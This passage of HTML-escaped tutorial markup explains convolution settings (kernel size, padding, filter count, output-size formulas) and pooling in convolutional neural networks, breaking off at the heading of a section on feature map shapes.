&lt;li&gt;&lt;strong&gt;Kernel size:&lt;/strong&gt; a smaller window examines a more local neighbourhood. A common choice is &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;3&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;3\times3&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.7278em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. A &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;1\times1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.7278em;vertical-align:-0.0833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; kernel can mix channels at the same spatial location.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Padding:&lt;/strong&gt; in a convolution without padding, central input values participate in more windows than edge values. Adding zeroes around the edges lets filters reach more boundary positions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Number of filters:&lt;/strong&gt; determines the number of output feature maps. Each filter learns its own weights.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When the stride divides the available distance exactly, the output dimensions are&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Height: &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mfrac&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;H_2=\frac{H_1-F_H+2P}{s}+1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8333em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2336em;vertical-align:-0.345em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8886em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.4103em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3173em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;F&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3448em;&#34;&gt;&lt;span style=&#34;top:-2.3567em;margin-left:-0.1389em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1433em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;P&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.345em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Width: &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;W&lt;/mi&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;W&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;W&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;2&lt;/mn&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mfrac&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;W_2=\frac{W_1-F_W+2P}{s}+1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8333em;vertical-align:-0.15em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;W&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2336em;vertical-align:-0.345em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8886em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.4103em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;W&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3173em;&#34;&gt;&lt;span style=&#34;top:-2.357em;margin-left:-0.1389em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.143em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;−&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;F&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3448em;&#34;&gt;&lt;span style=&#34;top:-2.3567em;margin-left:-0.1389em;margin-right:0.0714em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.5em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size3 size1 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;W&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.1433em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;P&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.345em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;W&lt;/mi&gt;&lt;mn&gt;1&lt;/mn&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;H_1,W_1&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8778em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;W&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3011em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; are the input dimensions, &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;H&lt;/mi&gt;&lt;/msub&gt;&lt;mo separator=&#34;true&#34;&gt;,&lt;/mo&gt;&lt;msub&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;W&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;F_H,F_W&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8778em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;F&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3283em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.0813em;&#34;&gt;H&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mpunct&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.1667em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;F&lt;/span&gt;&lt;span class=&#34;msupsub&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.3283em;&#34;&gt;&lt;span style=&#34;top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:2.7em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.1389em;&#34;&gt;W&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.15em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; the filter dimensions, &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;s&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;s&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.4306em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; the stride and &lt;span class=&#34;katex&#34;&gt;&lt;span class=&#34;katex-mathml&#34;&gt;&lt;math xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;P&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6833em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.1389em;&#34;&gt;P&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; the padding on each side. Convolution needn’t shrink the image: with suitable settings the output has the same height and width as the input.&lt;/p&gt;
&lt;span id=&#34;池化&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;pooling&#34; data-section=&#34;池化&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#pooling&#34;&gt;#&lt;/a&gt; Pooling&lt;/h2&gt;
&lt;p&gt;Max pooling takes the largest value in each window. Average pooling takes its mean. Global average pooling averages the spatial positions in each channel. A pooling operation has no learned weight matrix, so it can be left out of a count of &lt;strong&gt;weight-bearing&lt;/strong&gt; layers.&lt;/p&gt;
&lt;p&gt;Downsampling loses some information. One common design choice is to increase the number of feature maps in the following convolution, for example by doubling it.&lt;/p&gt;
&lt;span id=&#34;特征图变化&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;tracking-feature-map-shapes&#34; data-section=&#34;特征图变化&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#tracking-feature-map-shapes&#34;&gt;#&lt;/a&gt; Tracking feature map shapes&lt;/h2&gt;
